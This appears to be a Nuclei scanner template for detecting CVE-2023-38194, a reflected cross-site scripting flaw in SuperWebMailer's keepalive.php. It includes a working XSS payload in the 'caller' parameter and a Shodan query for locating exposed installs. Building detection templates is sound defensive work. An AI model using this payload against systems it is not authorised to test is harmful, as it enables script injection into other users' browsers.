id: CVE-2023-38194

info:
  name: SuperWebMailer - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 that allows keepalive.php XSS via a GET parameter.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or account compromise.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks in the SuperWebMailer keepalive.php script.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0013/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38194
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38194
    cwe-id: CWE-79
    epss-score: 0.04349
    epss-percentile: 0.87155
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<img src=1 onerror=alert(document.domain) />")'
          - 'contains(tolower(body_1), "superwebmailer")'
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a0047304502207ae25580167246294169dc159b2215835ee5795674adfa00e84b6da5c831c357022100efee147bd9eb986e95066a90c09b0ecfb39d3b818751254b465c0f1ce31d63d9:922c64590222798bb761d5b6d8e72950